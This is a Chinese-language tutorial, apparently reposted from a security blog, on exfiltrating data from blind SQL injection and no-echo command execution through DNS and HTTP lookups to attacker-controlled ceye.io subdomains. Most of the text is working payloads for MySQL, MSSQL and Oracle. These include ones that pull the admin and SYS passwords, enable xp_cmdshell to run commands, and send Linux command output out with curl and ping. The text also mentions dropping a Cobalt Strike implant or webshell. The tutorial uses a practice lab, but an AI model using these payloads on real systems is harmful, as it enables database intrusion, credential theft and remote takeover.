dnslog在sql盲注中的應用


0x01 注入利用dnslog原理 

 如圖所示,作為攻擊者,提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,我們只要能獲得DNS的日志,就得到了想要的值。所以我們需要有一個自己的域名,然后在域名商處配置一條NS記錄,然后我們在NS服務器上面獲取DNS日志即可。

免費DNS服務器平台:

http://ceye.io/
http://dnslog.cn/

0x02 dnslog應用在哪些場景下

  1. SQL注入中的盲注
  2. 無回顯的命令執行
  3. 無回顯的SSRF

簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。

 0x03 在mysql盲注中的應用

mysql中主要利用到load_file函數,它在mysql中是用來讀取文件並返回文件內容為字符串,實際上它還可以用來發送dns請求。

且要注意一點:load_file函數在Linux下是無法用來做dnslog攻擊的。

使用此函數需要滿足以下條件: (1).所讀文件必須在服務器上,且必須指定文件其絕對路徑 (2).連接當前數據庫用戶必須有FILE權限 (3).文件內容必須小於max_allowed_packet。

利用的payload:

?id=1' union select load_file(concat('\\\\\\\\',(select database()),'.xxxx.ceye.io\\abc'))--+
?id=1' and if((select load_file(concat('\\\\',(select database()),'.XXXXX.ceye.io\\abc'))),1,1)--+
database()就是要做sql注入查詢的地方

ceye.io平台注冊之后會給分配一個二級域名,這里我們把查詢的語句拼接到三級域名上,dns解析之后將在平台上記錄解析域名,每條記錄的三級域名將顯示我們sql語句查詢的結果。比如這里三級域名將是查詢到的數據庫。以dnslog的方式來使查詢結果完整顯示出來,比直接盲注查詢的要快很多。

查詢表或字段時需要加 limit 限制輸出,每一次查詢對應一條dns記錄,也就一個三級域名,一個查詢結果,因此limit限制輸出的結果為1.

這里以sqli-labs第八關盲注為例,練習dnslog注入:

查看當前數據庫:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.xxx.ceye.io\\abc%27))),1,1)--+

 可看到當前數據庫為security

獲取當前用戶,需要對user()函數進行hex處理,hex(user())

 然后將hex字符再自行解出,這里解碼為:root@localhost

后續操作類似於上。這里load_file函數執行結果為null的、有問題的,需要先解決使用此函數需滿足的三個條件。

0x04 在mssql中的應用

需要存在堆疊注入,能用;一條一條執行sql命令,poc:

http://127.0.0.1/mssql.php?id=1;
DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
FROM 庫名.dbo.test_user where [USER] = 'admin')%2b'.nk40ci.ceye.io';
EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

測試是否為堆疊:?id=1';WAITFOR DELAY '0:0:5'--

獲取當前用戶:

id=2';declare @a char(128);set @a='\\'%2buser%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--

獲取庫名:

id=2';declare @a char(128);set @a='\\'%2b(select top 1 name from master.dbo.sysdatabases)%2b'.***.ceye.io\abc';exec master..xp_dirtree @a;--

用sqlmap跑出如果數據庫為sa權限,那么就可以開啟xp_cmdshell組件進行命令執行

開啟xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

命令執行sql語句:

id=2';exec master..xp_cmdshell 'whoami'--

這樣的話沒回顯執行。

配合dnslog,通過如下語句,將命令執行的結果返回到dns服務器平台上,查看http日志即可:

?id=1';exec master..xp_cmdshell "for /F %s in ('whoami') do start http://xxx.ceye.io/?%s"--

 

 

 將whoami執行的顯示結果返回到http記錄的url最后面的變量,變量名為命令執行顯示結果。

由於這條語句將打開本地默認瀏覽器,因此需要關閉瀏覽器,默認不是ie的話用tasklist看一下即可:

?id=123';exec master..xp_cmdshell "taskkill /f /im iexplore.exe"--

其實實戰時不用知道回顯結果,只要能執行命令就行,那么能通外網的話就可以下載執行我們的cs馬兒,然后直接就上線了。或者知道絕對路徑直接寫webshell。

針對linux服務器的話:

curl http://xxx.ceye.io/`whoami`   再平台上查看http記錄
ping -c 1 `whoami`.xxx.ceye.io  在平台上查看dns記錄
需要多條顯示結果的ls:
for i in $(ls /);do curl "http://$i.xxx.ceye.io/";done;

自動化命令執行工具:https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py

0x05 oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;

 

參考鏈接:https://www.anquanke.com/post/id/98096#h3-5

關於dnslog利用的腳本自動化:https://github.com/ADOOO/DnslogSqlinj

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM